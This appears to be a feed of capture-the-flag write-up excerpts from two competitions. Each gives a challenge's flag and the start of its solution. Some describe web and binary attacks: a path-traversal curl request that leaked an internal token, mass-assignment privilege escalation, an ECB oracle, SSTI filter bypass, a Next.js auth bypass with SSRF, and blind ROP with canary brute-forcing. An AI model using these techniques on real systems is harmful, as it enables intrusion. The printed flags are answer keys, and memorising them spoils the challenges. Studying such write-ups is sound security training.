hotwater

Ananya's Shadow

Sun, 01 Nov 2026 00:00:00 +0000

OSINT, Hard, 900 pts

Hack!tUp{sh4d0w_n0d3_unv31l3d_99}

The challenge links a blog (webapp-ten-fawn.vercel.app, "Shadow Notes") by av_shadow01. Its Instagram, Twitter and GitHub pages are all mock pages inside the same app, so the real GitHub has nothing (github.com/av_shadow_dev is a 404).

What the pages give:

Instagram bio: R2l0SHViOiBhdl9zaGFkb3dfZGV2 is Base64 for GitHub: av_shadow_dev.
Cafe photo EXIF: ImageDescription: passphrase: Cyber_Shadow_01.
Twitter: a decoy flag{ananya_is_not_here}.
GitHub, deleted commit "Remove hardcoded config": the diff in scripts/db_sync.py shows PORTAL_KEY = "S3aTtl3_C0ff3e_L0v3r_99".
blog_header.png: an RGB-LSB message that repeats the pointer to the deleted commit. The PGP key at /public_key.asc has nothing hidden.

The README says the important files were moved "offline and into the shadows". None of the visible pages link to anything, so I guessed paths on the blog. /cache.zip returns a 477-byte WinZip AES-256 archive with two files.

ARGON: The Silent Vault

Sun, 01 Nov 2026 00:00:00 +0000

Crypto, hard

Flag: SOS{argon_48cec92a70e93a55b4e232c2b8a733a9}

We get challenge.py (a format spec), public.json (curve, public key Q, salts, Argon2 params, channel map), signatures.jsonl (96 ECDSA signatures over secp256k1), diagnostics.bin (384 telemetry frames), and two AES-256-GCM blobs, recovery.enc and vault.enc. The chain is: ECDSA nonce leak gives the private key d, d opens the recovery blob, which holds an RSA instance whose plaintext feeds Argon2id to unlock the vault.

Nonce leak to private key

Each telemetry frame is 20 bytes: a 16-byte sig_id, a big-endian uint16 channel and a uint16 payload. Only channel 0x0042 matters, since it leaks the top 10 bits of the nonce, h = k >> 246. Matching on sig_id gives a leak for all 96 signatures.

Captain's Keygen: The Cursed Treasure Lock

Sun, 01 Nov 2026 00:00:00 +0000

Reverse Engineering, Hard, 500 pts

flag{th3_cur53d_m3r1d14n_y13ld5_1t5_g0ld_t0_th0rn3}

vault_lock is a stripped Linux x86-64 PIE ELF taking two inputs: a name and a 32-hex-char (16-byte) master key. Unusually for this kind of challenge, compass_chart.txt hands over almost the entire algorithm in plain prose — the work is pinning down the exact constants and running the math, not fighting obfuscation.

The 16-byte key splits into four "watches" of four bytes each. Watch 0 is four unknown "master glyphs" k0,k1,k2,k3; watches 1–3 are the same four bytes XORed with 0x5A, 0xA5, 0x3C respectively. So the whole 16-byte key has only 4 unknown bytes.

Captain's Last Assembly: Sector 7 Protocol

Sun, 01 Nov 2026 00:00:00 +0000

Reverse Engineering, Hard, 500 pts

ICTF{QUANTUM_COLLISION_GATEWAY_BYPASS}

This is a Unity Mono build, so all game logic is plain IL in CaptainsLastAssembly_Data/Managed/Assembly-CSharp.dll. The gates (a million credits at one per minute, a barrier in the corridor) only matter if you play it. The flag is decrypted by VaultCoreTerminal.DecryptFlag, and everything it needs is in the assembly.

I had no .NET decompiler installed, so I parsed the metadata with Python's dnfile and read the IL bytes. The static constructor fills two fields through RuntimeHelpers.InitializeArray:

Chronos in the Octet Cage

Sun, 01 Nov 2026 00:00:00 +0000

Crypto, Medium, 250 pts

Flag: FLAG{ab3l1an_n0rm_unr4v3ls_scr4mbl3d_qu4t3rn10n_t3ns0r_9f2a}

chall.py defines a 4-dimensional algebra over Z_N with a structure tensor GAMMA[k][a][b], product mix(X, Y)_k = sum GAMMA[k][a][b] X[a] Y[b] mod N, and N = p*q with 512-bit primes. The output has N, e = 65537, a partial-key-exposure hint (e_aux, hint_d), eight telemetry records {W1, W2, Z}, and C_flag = F^e in the algebra. The flag is split into four 15-byte chunks, each stored as chunk | rand << 128.

Ghost Coordinates

Sun, 01 Nov 2026 00:00:00 +0000

Forensics, Hard, 500 pts

FLAG{GHOST_ATOLL_14.4783S_138.2600W}

The S/V Obsidian Siren's GPS track, AIS log, deck logbook, photo EXIF, a sqlite navigation backup, and a scanned map were all recovered. The captain deliberately salted the record with two layers of deception, both described and named in captain_navigation_notes.txt, which also gives the flag's exact template: FLAG{<LOCATION_NAME>_<LAT>_<LON>}.

Decoy 1 — the purge point. navigation_track.gpx and gps_history.csv both terminate at 14°57'S, 139°30'W. navigation_backup.db's system_audit_log table explains why: a TRACK_PURGE_COMMAND and RF_JAMMER_ENGAGED entry at 2026-10-19T22:14–22:15Z, tied to waypoint WPT_JAM_07 ("Purge Coordinate Point"). The main GPS track is a dead end by design.

Ghost in the Storage

Sun, 01 Nov 2026 00:00:00 +0000

Flag: FLAG{d34d_m3n_t3ll_n0_t4l3s_but_fr33l1sts_d0_7a9f}

The zip holds an evidence tree from a Pixel 6a (Android 13) running org.blackflag.keeper: the app's databases, shared_prefs, an image cache, logcat/dmesg, and an android_backup/backup.ab. Everything under evidence/app_data/ is duplicated in the flattened evidence/ folders.

Key observation

logcat spells out the recipe: AES key = PBKDF2(<Chart_Passphrase>:<Waypoint_77_Sector_Token>, salt = master_salt_hex from crypto_state.xml, 100000 iterations), with a 16-byte IV stored in the message row. It also says the local crypto_state.xml is sanitized, so the salt has to come from the ADB backup, and that DELETE FROM transmissions WHERE id = 4 ran while VACUUM was skipped. So the ciphertext is the deleted row 4, and each key part lives in a different place.

Ghost Ship Unloaded

Sun, 01 Nov 2026 00:00:00 +0000

Reverse Engineering, Hard, 300 pts

flag{gh0st_sh1p_j4v4_d3c0d3d_q4z4gn3_unm4sk3d_9f4c8a} (lowercase flag{, as printed by the vault)

The files are Remittance_Manifest.jar, captains_log.enc, and ship_manifest.json. The jar contains three encrypted blobs under assets/ and no QaZagne class, which is loaded at runtime. Every key can be recovered statically.

Master key. Header.RAW_CHART is an int array. Each element is XORed with 90 and then with (i*17+3)&255, giving:

text

KEY:BlackMeridian171|IV:SargassoSea2026!|SEED:9942

Both are 16 bytes, so AES-128-CBC.

Map Beneath the Ink

Sun, 01 Nov 2026 00:00:00 +0000

Flag: FLAG{DEAD_MANS_SHALLOWS_14_FATHOMS_OT-7729-CARIB}

The zip holds five images and a checksum file: old_map.jpg (1718 survey chart), treasure_map.png (Captain Vance's annotated copy), captain_portrait.jpg, ship_photograph.png and historical_document.png (a quartermaster's deposition). sha256sum -c checksums.sha256 passes for all of them.

Metadata

exiftool on each image gives the hints.

historical_document.png has the instructions in its text: the deposition says to inspect the least significant bits of the blue channel, and that the vault code is built from three tokens: the reef name at the inverted anchor on old_map.jpg, the sounding at that reef, and the vessel registry key from ship_photograph.png.
ship_photograph.png has Registry_Key: OT-7729-CARIB in its PNG text chunks.
captain_portrait.jpg carries a "DECOY LEAD NOTE" saying Gallows Rock was dug up in 1892 and held nothing.

So the red "X / TREASURE BURIED HERE" on treasure_map.png is a decoy. Compared with old_map.jpg, Vance's copy also has the anchor flipped upright; in the original it is inverted, ring at the bottom, at "Dead Man's Shallows, Depth 14 Fathoms, Submerged Reef".

Operation Zero-Trust — DSI Joint Operations Center

Sun, 01 Nov 2026 00:00:00 +0000

Flag

FLAG{0p3r4t10n_Z3r0_TrusT_Byp4ss3d_99x}

Discovery

The public portal at https://operation.hackitupnow.tech/ said that internal tools remained available through fallback routes. Its news page specifically mentioned a department config.yaml. The report generator was reachable at https://operation.hackitupnow.tech:13337/; /generate returned 403 Forbidden with “Valid DSI auth token required.”

The config file was exposed through a path containing ... Using --path-as-is kept curl from normalizing that path before sending it:

curl -ksS --path-as-is \
 'https://operation.hackitupnow.tech/assets/../config.yaml'

The response identified the report generator on port 13337, its /generate endpoint, and the token dsi_internal_token_99x. The token was accepted as a token query parameter:

Pirate's Last Algorithm

Sun, 01 Nov 2026 00:00:00 +0000

Flag: HACKITUP{b14ckth0rn_v4u1t_c04st41_4str014b3_m4st3r}

blackthorn_vault.exe is a 32-bit MinGW console PE (SHA-256 27b3ae11c55316152af02e38629d2028ad1ff77bb20f0233ab5b31e1b1cb2198) that asks for a "Captain's authorization key". It still has symbols, which gives away the layout: g_astrolabe_program, g_rune_table, g_vault_ciphertext. The key is checked by a small bytecode VM, then a 32-bit hash, and the hash seeds an LCG that decrypts the flag.

Data locations

.rdata is at VMA 0x404000, file offset 0x1a00, so raw = 0x1a00 + (va - 0x404000).

Poison

Sun, 01 Nov 2026 00:00:00 +0000

Crypto, Medium, 200 pts

Flag: flag{p01s0n3d_3cc_f4u1t_4tt4ck_succ3ss!}

We get chall.py (and a Sage port, chall.sage) and out.txt. The challenge is ElGamal over P-192 (secp192r1) where the flag, read as a big integer, is the private key d, and Q = d*G. A plaintext point M is encrypted as C1 = k*G, C2 = M + k*Q. out.txt holds the plaintexts ms, the ciphertexts C1s, C2s, and decs, the outputs of a "faulty hardware" decryption.

Project Black Pearl: The Cursed Engine of Elias Blackthorn

Sun, 01 Nov 2026 00:00:00 +0000

Reverse Engineering, Hard, 300 pts

FLAG{black_pearl_c4pt_7b9d_2e4f_8a1c_6d30_5f81_e92a_b}

black_pearl.exe is a stripped PE32+ console binary (MinGW GCC 14.1.0), objdump -d -M intel is enough, no packing tricks. sea_chart_fragment.txt is flavor text that explicitly admits it plants wrong keys to punish naive guessing (d34d_m4n5_ch35..., c4pt_bl4ck_b0n3..., KEY=d34d_b33f_...) — none of them are real.

main reads argv[1], trims it, and compares the first 17 bytes against an XOR-0x5d obfuscated string at 0x14000a630:

text

1b 11 1c 1a 26 3f 31 3c 3e 36 02 2d 38 3c 2f 31 02 ^ 0x5d -> "FLAG{black_pearl_"

Matching that exact prefix is the trap: it diverts into a dead buffer that can never pass. The real path needs the trimmed input to not match it and to be exactly 36 characters, split into three 12-byte tokens that chain through four stages: stage1(token1) -> key1, stage2(token2, key1) -> vmres, stage3(token3, vmres) -> fres, stage4(key1, vmres, fres) -> pass/fail.

SocialSync: Vice City Underground

Sun, 01 Nov 2026 00:00:00 +0000

FLAG{H0w_E@5Y_1T_w@5}

Target: https://social.hackitupnow.tech/, a link-in-bio style profile site. Vulnerability: mass assignment leading to privilege escalation. Backend is Django (csrftoken cookie, csrfmiddlewaretoken form field), fronted by Cloudflare.

The challenge description hints at "dynamic object attribute mapping during profile credential updates" and "elevating authority to administrative clearance" — a fairly direct pointer at the bug class. A third hint about passwords rhyming is a red herring toward the profile's "safehouse cipher" feature; that's not where the actual issue is.

Tetrix Secrets

Sun, 01 Nov 2026 00:00:00 +0000

Reverse Engineering, Easy, 150 pts

Hack!tUp{A9xK2LmP0QrT7vW4YzB8cD1eF6gH3J5N0U2X9s}

The binary is a 93 MB Windows exe. strings shows Godot engine text (GDPC, --remote-debug), so it is a Godot export with the data pack embedded in the exe. The description says the secret is "just waiting to be read", and it is.

A byte search for anything flag-shaped:

text

grep -a -o -E '[A-Za-z0-9_!]{3,12}\{[A-Za-z0-9_]{12,}\}' tetrix.exe

finds two candidates:

THM{I_CAN_READ_IT_ALL} at offset 93001116, inside a packed scene next to the game-over menu labels. It looks like a placeholder from the game.
Hack!tUp{A9xK2L...9s} at offset 93021728, after the final GDPC trailer, so after the end of the embedded pack. Nobody puts that there by accident, and it uses the CTF's own format.

I didn't run the game or unpack the pack, so I can't say what's inside it beyond these two strings. The Hack!tUp{...} one was confirmed correct by the platform; THM{...} was the fallback and wasn't needed.

The Captain's Last Log

Sun, 01 Nov 2026 00:00:00 +0000

Forensics, Medium, 200 pts

FLAG{v4nc3_s1l4s_d34d_m4ns_c4y_s3cr3t_1723}

The only file is captain_disk.E01. There are no EWF tools on my box, so I read it directly. The volume section gives 64 sectors per chunk at 512 bytes, and the table section lists zlib-compressed chunk offsets. Inflating every chunk produces a 64 MiB raw image:

python

for o, compressed in table:
 out.write(zlib.decompress(raw) if compressed else raw)

The image has one NTFS partition starting at sector 2048, volume label BLACK_TIDE. 7z l lists the normal files (journals, crew roster, ship logs) but not the captain's final entry. strings on the partition still finds it in free space. It says the entry is Vigenere-encrypted with:

The Cursed APK

Sun, 01 Nov 2026 00:00:00 +0000

Mobile Security, Hard, 300 pts

FLAG{d34d_m3n_t3ll_n0_t4l35_fr1d4_unl0ck5_th3_cur53d_v4ult}

The challenge pushes you towards Frida and an emulator-hiding setup, but the root/emulator checks aren't a gate. They change a number that goes into the key, so on a "wrong" device you just get garbage out. You can skip the device entirely and compute the clean-device key offline.

Honeypot has a decoy flag (y0u_f0und_f00ls_g0ld_matey). The real logic is in VaultCore.

Oath. getSeaOath() builds the passphrase in three parts: bytes [30,31,27,30,5,23,31,20,5] XOR 90 give DEAD_MEN_, a literal TELL_NO_, and ints minus 50 give TALES_1718. The oath is DEAD_MEN_TELL_NO_TALES_1718.

The Cursed Encryption Oracle

Sun, 01 Nov 2026 00:00:00 +0000

Crypto, 200 pts

Flag: flag{d3ad_m3ns_t3ll_n0_ta1l5_but_ECB_d03s}

The challenge is a web oracle at https://cursed-encryption-oracle.vercel.app. /info says it encrypts user_input || secret_flag with AES-128-ECB and PKCS#7 padding, hex-encoded, with at most 256 input bytes. /encrypt takes {"plaintext": "..."} and returns {"ciphertext": "<hex>"}.

Attacker-controlled bytes in front of a secret, with ECB, is the textbook byte-at-a-time setup. Equal plaintext blocks give equal ciphertext blocks, so we can shift the secret across a block boundary and test guesses against it one byte at a time.

The Cursed Syscall

Sun, 01 Nov 2026 00:00:00 +0000

Reverse Engineering, Medium, 300 pts

FLAG{c4pt41n_fl1nt_s_curs3d_c0mp4ss_st33rs_t0_tru7h} (verified offline against the binary's filter)

The binary is a stripped 16 KB x86-64 PIE. main at 0x11d0 reads a line with fgets, strips the newline, and requires strlen(input) == 0x34 (52). The 52 bytes are copied to the stack and treated as thirteen little-endian 32-bit chunks.

It then calls prctl(PR_SET_NO_NEW_PRIVS, 1) and prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog). The sock_fprog at vaddr 0x4620 is {len=192, filter=0x4020}; the BPF program is 192 classic sock_filter instructions stored in .data.

The Forgotten Vault

Sun, 01 Nov 2026 00:00:00 +0000

Crypto, Easy, 100 pts

Flag: HACKITUP{md5_k3y_d3r1v4t10n_w1th_p1n_m4ngl1ng_15_f4r_t00_w34k}

We get challenge.py, output.txt (a 64-byte hex ciphertext) and wordlist.txt (5,460 words). The vault is AES-128-ECB, and the key is MD5(password) where the password is a wordlist word, first letter capitalized, followed by a 2-digit PIN:

python

def format_password(word, pin):
 return f"{word.capitalize()}{pin:02d}"

def derive_key(password):
 return hashlib.md5(password.strip().encode("utf-8")).digest()

That is 5,460 * 100 = 546,000 possible passwords, and MD5 with no salt costs nothing, so the whole space can be searched. ECB doesn't matter here. We never need the block structure, only a way to tell a right key from a wrong one: after decrypting, check for valid PKCS#7 padding and the string HACKITUP in the plaintext.

The Phantom Application

Sun, 01 Nov 2026 00:00:00 +0000

Mobile Security, Hard, 300 pts

FLAG{ph4nt0m_n4v1g4t0r_cr4ck3d_th3_bl4ck_sp0t_7721}

The APK (com.phantom.navigator) has a vault activity that decrypts an AES ledger once you pass an officer/passcode check. Both the check and the key derivation are in the code, so none of it needs the device.

Decompiling with jadx gives a handful of classes. StorageManager seeds SharedPreferences (navigator_prefs) with the hex ledger and a session nonce, D4RK_T1D3S_7721. It also seeds a few fake flags (sh4r3d_pr3fs_...), and QuartermasterValidator.MASTER_KEY is another one. None of them are the flag.

The Triangle of the Lost Treasure

Sun, 01 Nov 2026 00:00:00 +0000

Reverse Engineering, Medium, 200 pts

flag{c4pt41n_3ucl1d_4nd_th3_cr055_pr0duct_tr345ur3}

The stated task is to script a client that finds the maximum-area triangle among up to 60 3D points across 5 rounds, each with a 5-second limit, talking to a local judge process (navigator.py). The intended path is: brute-force all C(n,3) triples per round, area via the cross product (0.5 * |AB × AC|), answer fast enough.

Reading navigator.py directly skips all of that. The script is plain Python and fully deterministic — there's no per-session randomness:

The Vandoria Leak — "Operation Nexus Gate"

Sun, 01 Nov 2026 00:00:00 +0000

FLAG{58977098b1ab219c693a2ea032db0092c693a2}

Target: https://vandoria.hackitupnow.tech/, a fake "National Portal of Nigeria" site running Next.js 14.1.0. Three bugs chain together: a known Next.js middleware auth bypass, an SSRF in a Server Action, and a path-check that doesn't cover the actual route.

Recon

x-powered-by gives Next.js 14.1.0. /robots.txt disallows /admin/, /classified/, /internal/, /api/debug/, /api/v1/legacy/, /api/internal/ — basically a map of what to hit. /admin/dashboard redirects to /login when unauthenticated. /api/debug is a decoy that always returns a fake MySQL error regardless of input. /api/health returns a taunt claiming all CVEs are patched. /api/internal/secrets returns 403 "restricted to internal network".

Webhack Solutions

Sun, 01 Nov 2026 00:00:00 +0000

OSINT, Easy, 50 pts

HITP{hackitup_X_webhackacademy}

The challenge links only to the Instagram account @webhackacademy. Most of its posters carry a QR code, but every scannable one just points to https://academy.webhacksolutions.com/, a plain course-signup page with nothing hidden in its HTML, headers, or EXIF. One poster carries a visibly different, denser QR that doesn't decode with any standard tool — a screenshot of an Instagram post isn't clean enough source material for a damaged/dense code, and it turned out to be a dead end rather than the real lead.

Welcome

Sun, 01 Nov 2026 00:00:00 +0000

Crypto, Medium, 200 pts

Flag: SOS{Welcome_baddy_well_played}

The only input is one string, with the hint "The truth is hidden in the alphabets, not in the words."

text

3HZF7u0WE87LVnejqUQ6yIymxYd4LYh6YqJieV2Oft7iYaggfjl6I93nrGF3N6kEWhTNCdnfjCVuROFAA4sWX7kod

The string uses only 0-9A-Za-z, which fits Base62. Decoding it as a big-endian number in that alphabet gives another string that contains no 0, O, I or l, a sign that it is Base58 (Bitcoin alphabet). Decoding that gives text made only of A-Z2-7, which is Base32. So the layers are Base62, then Base58, then Base32.

Algebraic Mirage

Mon, 26 Oct 2026 00:00:00 +0000

Flag: isfcr{3v3ry_m1r4g3_c4575_4_l1n34r_5h4d0w_e39672b62c}

What the capture contains

public_exchange.sage gives the epoch 0 parameters, Alice's and Bob's public states, and a shuffled pool of 48 braid anchors. ciphertext.json contains seven frames. Frame e is encrypted with the shared secret from epoch e-1; frames 1–6 reveal the next registry and handshake, while frame 7 contains the vault note. Thus each epoch has to be solved before the next one can even be inspected.

Blizzard

Mon, 26 Oct 2026 00:00:00 +0000

Category: Pwn (blind / remote only) Target: nc 0.cloud.chals.io 29569 Flag: isfcr{bl1nd_sysc4ll_r0p_0p3n_r34d_wr1t3_bl1zz4rd_7f3c}

Protocol and bug

Two-byte big-endian length followed by that many payload bytes:

text

[ u16 length ][ payload ]

Normal response:

text

relayed <length>.
relay>

The payload is copied into an 88-byte stack buffer with no bounds check. The stack layout is:

Offset	Contents
0–87	frame buffer
88–95	stack canary
96–111	padding
112–115	live client fd (`4`)
116–135	padding
136–143	saved return address

The canary is stable across forked connections but rotates when the service restarts. It is recovered byte-by-byte with the relayed N. response as the oracle.

Borrowed Address — Recovering the Closing Batch

Mon, 26 Oct 2026 00:00:00 +0000

Result

The recovered batch is recovered.fld2 (local artifact): 167 rows, 6,688 bytes.

text

SHA-256: b681cb45b3720f023d1c5a025850f7beae363b46de069bc129e1c830755c2696
Flag: isfcr{b681cb45b3720f023d1c5a025850f7beae363b46de069bc129e1c830755c2696}

The recovery combines three sources: Java compiler metadata, suspended virtual-thread stacks, and historical SQLite WAL snapshots. The final routing results were checked against the supplied native implementation.

1. Inspect the incident bundle

Extract the archive and decompress the core:

bash

unzip -q borrowed-address.zip
gzip -dk borrowed-address/incident/core.gz

The relevant files are:

Chronoglyph

Mon, 26 Oct 2026 00:00:00 +0000

Challenge summary

We are given chronoglyph.zip, containing a single disk image:

text

chronoglyph/evidence.img

The prompt says a reporter's workstation was imaged before it was returned, and that the story they were protecting is hidden somewhere on the image. We need to recover the text; the flag is in isfcr{...} format.

The image turned out to contain several layers:

An outer ext4 filesystem (evidence) with a research project documenting a timestamp-steganography tool called Chronoglyph.
A 200-byte Chronoglyph payload hidden in ext4 i_crtime_extra fields. It contained a LUKS2 passphrase and the location of a hidden encrypted container.
A LUKS2 container at offset 100 MiB containing a second ext4 filesystem (notes).
Deleted zlib-compressed Git objects in the inner filesystem's unallocated blocks. One of them held the real story and flag, surrounded by several fake flags.

1. Initial triage

bash

unzip chronoglyph.zip
file chronoglyph/evidence.img

text

Linux rev 1.0 ext2 filesystem data, UUID=7ac3e5f1-9d41-4a68-b2c7-5e0f12d3b4a9,
volume name "evidence" (extents) (64bit) (large files) (huge files)

The volume is 100 MiB (102400 blocks of 1 KiB) inside a 160 MiB image. Because we could not mount it, debugfs was enough to inspect it:

Cold Dock

Mon, 26 Oct 2026 00:00:00 +0000

Flag: isfcr{9tfzw_qnsddr_87z6m_7dxngw}

Overview

Frostline Edge is the only public listener. It authenticates the client, assigns a role (viewer), and forwards a sealed CCIP manifest to vaultd, the cold core. The goal is to thaw the sealed cold_seal record, which requires the ops role.

The provided material contains:

docs/CCIP.md — the vendor profile, revision 1.2
docs/ccip-captures.txt — staging frames plus a vendor conformance frame
edge/ — the Edge source

The important clue is that Edge builds CCIP 1.4 frames while still using the revision 1.2 field-length convention.

Cold Registry — frost-n04 Vault Release Code

Mon, 26 Oct 2026 00:00:00 +0000

Challenge: COLD REGISTRY (frost-n04, bay 4) Category: Forensics Artifact: frost-n04-cold.tar.gz

Flag:

text

isfcr{fl_pvj9_fvu4_qqgn}

Release code: FL-PVJ9-FVU4-QQGN

1. Short version

The job was purged on 14 Jan, but the registry is copy-on-write. The four job/8149285a1114b9b0/... keys were tombstoned, while the old cursor leaf pages remained in freed pages. Each cursor page stores one segment's receipt byte. For every segment I recovered the cursor page that was actually live immediately before the next segment's transaction; this uniquely reconstructs the 48 receipts used by the thaw release. Hashing those receipts with the vendor's formula gives the release code above.

Conduit Preview — SSTI Filter Bypass

Mon, 26 Oct 2026 00:00:00 +0000

Challenge: Label-preview service
Flag: isfcr{ss71_h3x_f1lt3r_byp4ss_c0ndu1t_e4d1}

Overview

The target was a small Flask/Werkzeug label-preview service:

text

conduit preview
---------------
POST /preview {"label":"..."} -> renders your label into the card.
The preview engine is template-based. Some inputs are filtered.

The word "template" suggested a server-side template injection (SSTI) challenge. The service accepted a JSON body with a label field and rendered it inside:

html

<div class=card><b>...</b></div>

Reconnaissance

A normal request returned the label unchanged:

CryoVault 2.0

Mon, 26 Oct 2026 00:00:00 +0000

Final flag

text

isfcr{c0ld_st0rage_n3v3r_f0rg3ts_th3_th4w_s3qu3nc3}

The archive is a ten-stage chain. Each stage's answer is the key to the next sealed record; the final ten answers together decrypt vault.sealed.

A recurring theme is deliberate decoy text. The audio metadata, the 1.0 archive, some notes, and several recovered files all contain plausible but false instructions or flags. The actual artifacts were always authoritative.

0. Archive layout

After extracting cryovault-2.0.zip:

CryoVault Dial Verification

Mon, 26 Oct 2026 00:00:00 +0000

Method

I read CHART_NOTES.txt first. Its marking convention identifies a verified reading by a ring around one hex character with two lines beneath it. The number beside the ring gives the character's position in the sixteen-character set. A ring with only one underline records a remote reading and does not count.

I inspected the scanned charts for rings, then checked the marks on each candidate at full resolution. Twenty-four charts have ringed readings: sixteen have two underlines and eight have one. The eight single-underlined rings were excluded regardless of the character or position written beside them. In particular, some share positions with verified readings, so sorting every ringed chart by position would give an incorrect result.

CryoVault Thaw Interlock (Firmware 4.3)

Mon, 26 Oct 2026 00:00:00 +0000

Goal and constraints

The vault thaws at a temperature of $2^{39}$. Four ordinary order requests can add less than $4\cdot 2^{32}$, so they cannot reach that threshold. The maintenance override accepts a larger delta, but it requires a Schnorr signature under the session's P-256 seal point. The scalar behind that point is never sent directly.

The 4.2 source reveals a useful leak in probe. For a multiplier $a$, level $j$, and secret seal scalar $x$, it computes

Deadbit Thermostat

Mon, 26 Oct 2026 00:00:00 +0000

The recovered record is:

text

isfcr{th3_r41l_h4s_m3m0ry_s0_d03s_th3_c0d3_35e90a7c}

The power cut left a later epoch-1 page in NAND, but its journal checksum is invalid. The last committed resource is epoch 0. Its archive needs two pieces of volatile evidence: a key seed reconstructed from cold SRAM and a 16-byte shutdown record decoded from the voltage trace.

1. Recover NAND pages

service_extract.txt gives the geometry: 1024 blocks, 64 rows per block, and 2048 data bytes plus 64 spare bytes per row. I kept physical row numbers, including erased rows. I rejected a block when spare byte 0 of either of its first two raw rows was not ff; that marker bypasses the controller's transforms.

Drif

Mon, 26 Oct 2026 00:00:00 +0000

Category: Pwn (blind / remote-only) Target: nc 0.cloud.chals.io 20061 Flag: isfcr{n0_w1n_func_s0_y0u_r0p_0p3n_r3ad_wr1t3_blind_3f9c21}

Overview

Only the remote service was provided. It offered:

text

drift log mounted. seek offset.
seek>

Input was consumed by a raw read() and answered with the number of bytes read:

text

seek> AAAA
seeked 4.
seek>

The prompt loop and the byte count suggested a stack overflow behind a stack canary. The challenge turned out to be part of the same binary template family as floe, blizzard, and serac, but with a simpler read loop.

Drumlin — Frostline Cold Archive (Build 2.4)

Mon, 26 Oct 2026 00:00:00 +0000

Status: solved. POST /release returned isfcr{bay_seven_revision_7a9aa329b2} after a future-chunk reissue/PATCH race. This document records the confirmed behavior, predecessor exploit, and working attack.

Target: https://isfcrpesu-drumlin.chals.io/
Category: Web
Flag format: isfcr{...}
Challenge author: AJ (per CTFd metadata for challenge id 36; 0 solves while tested)
Attachments: README.md, client.py (both copied in this directory)

1. Challenge summary

POST /session creates a private bucket:

http

POST /session
Accept: application/json

201 {"base":"https://.../s/<token>","token":"<token>"}

Every route is under base:

Embedded Bytecode VM

Mon, 26 Oct 2026 00:00:00 +0000

Challenge

We are given a stripped 64-bit ELF:

text

$ file chall
chall: ELF 64-bit LSB executable, x86-64, ... stripped

The program accepts one line of input and prints either nope or correct: the flag is your input. The input must be the flag in the format isfcr{...}.

Initial recon

The imports are small:

text

fgets, strlen, puts, memcmp, __libc_start_main

The .bss range 0x403040–0x403160 is suspiciously large and is filled at runtime. The important part of .text is the function at 0x4003c0, which is passed directly to __libc_start_main:

Floe

Mon, 26 Oct 2026 00:00:00 +0000

Category: pwn, black box
Target: nc 0.cloud.chals.io 27813
Flag: isfcr{l3ngth_pr3f1x_fr4m1ng_bl1nd_br0p_fl0e_9d2e74}

Protocol and overflow

The service starts with floe stream open. and a floe> prompt. It accepts a two-byte big-endian length followed by that many payload bytes:

text

[ u16 length ][ payload ]

A safe frame gets logged N.\nfloe> . The frame handler copies the payload into an 88-byte stack buffer without enforcing that size. By sending frames of lengths 89, 90, and so on, the response becomes a byte-at-a-time oracle for the stack canary: a correct prefix survives and prints the prompt; an incorrect byte kills the connection before the response.

Frost Paw

Mon, 26 Oct 2026 00:00:00 +0000

Goal

The unit starts each submitted job at a 64-bit register value x. After the job, it advances its ratchet by running a secret, six-line job on the same starting value. If that secret job is F, the next submitted job starts at F(x). A manifest line releases the flag only when its register equals F(x).

The unit address is private and is deliberately omitted here. Units expire, and their line parameters and secret job change at each 120-second cut.

Frostline Hall C — Thermal Camera Patrol

Mon, 26 Oct 2026 00:00:00 +0000

Challenge

We are given two lossless recordings of a thermal camera patrol:

hallc_cam07_patrol.mkv — 384×216 grayscale, 30 fps, 40.07 s
hallc_cam07_patrol_halfspeed.mkv — the same frame sequence played at 15 fps

The footage is almost entirely dense sensor speckle. The task is to recover the three rack-tag characters shown at each of the four presets, then concatenate them in patrol order and left-to-right order:

text

isfcr{...}

The half-speed copy is only a playback aid; it contains exactly the same frames as the normal-speed copy.

Glacier

Mon, 26 Oct 2026 00:00:00 +0000

Category: Pwn
Connection: nc 0.cloud.chals.io 13368
Flag: isfcr{bl1nd_r0p_thaws_th3_gl4c13r_c0r3_e71a93}

Overview

The challenge exposed only a TCP service with no downloadable binary. After connecting, it printed:

text

glacier core online. depth probe ready.
depth>

Each input was consumed by a raw read() and answered with the number of bytes read:

text

depth> AAAA
logged 5 samples.
depth>

The goal was therefore a blind exploitation task: recover enough of the process layout through the service's crash/output behaviour to redirect execution to a hidden win function.

Halo Telemetry Align

Mon, 26 Oct 2026 00:00:00 +0000

Challenge: A telemetry alignment oracle
Target: https://isfcrpesu-halo.chals.io
Flag format: isfcr{...}

Flag:

text

isfcr{n0isy_pr3f1x_0r4cl3_d3c0y_h4l0}

1. Reconnaissance

The root page describes a single endpoint:

text

halo telemetry align
---------------------
GET /align?seq=<string> -> one bit: is <seq> a prefix of the live seal?
The channel is noisy, and planted seals read warm too. Recover the seal.
flag format: isfcr{...}

Requesting the endpoint returns a single ASCII bit:

bash

$ curl 'https://isfcrpesu-halo.chals.io/align?seq=i'
1

The answer changes between requests, so this is not a deterministic prefix oracle. Repeatedly querying the same string reveals the noise rate.

Ligatures & Liabilities

Mon, 26 Oct 2026 00:00:00 +0000

Challenge Overview

Description: A law firm's licence portal says REJECTED to everyone, including the partners who built it. There is no backend. One key is valid. Find it.
You are given the portal (site/). Serve it locally and open it in Chromium or Firefox.
Flag Format: isfcr{<licence key>}

1. Initial Reconnaissance

Inspecting site/index.html reveals a static client-side web page with no backend interaction:

html

<label for="key">Licence key</label>
<input id="key" type="text" autocomplete="off" maxlength="64" placeholder="…">
<div class="verdict"><div id="verdict" aria-live="polite"></div></div>

<script>
 const key = document.getElementById("key");
 const out = document.getElementById("verdict");
 function render() { out.textContent = "\u00AB" + key.value + "\u00BB"; }
 key.addEventListener("input", render);
 render();
</script>

When input is typed, JavaScript simply wraps it with guillemets (« and ») and inserts it into #verdict.

Missing Receipt

Mon, 26 Oct 2026 00:00:00 +0000

Category: Forensics
Difficulty: Insane / Hard
Flag Format: isfcr{...}
Flag: isfcr{th3_r3l4y_h4d_1ts_0wn_v3rs10n_597c}

1. Challenge Overview

We are provided with five forensic artifacts collected from a field relay environment:

desc.txt: Challenge description stating that CRYO-LT-07 started an export at 03:17 UTC and pushed it to the field relay, after which someone "tidied up". The goal is to recover the export accepted in full by the relay.
acquisition.txt: Acquisition notes detailing:
- The client clock was running $6\text{ minutes }42\text{ seconds}$ ahead of reference time in local timezone Asia/Kolkata ($\text{UTC}+05:30$).
- relay.pcap was captured on a passive tap directly in front of the relay host.
- agent_state.db and agent_state.db-wal were acquired while the agent was running.
- field-unit.ext4 is an ext4 image of the unit's service partition.

2. Artifact Analysis

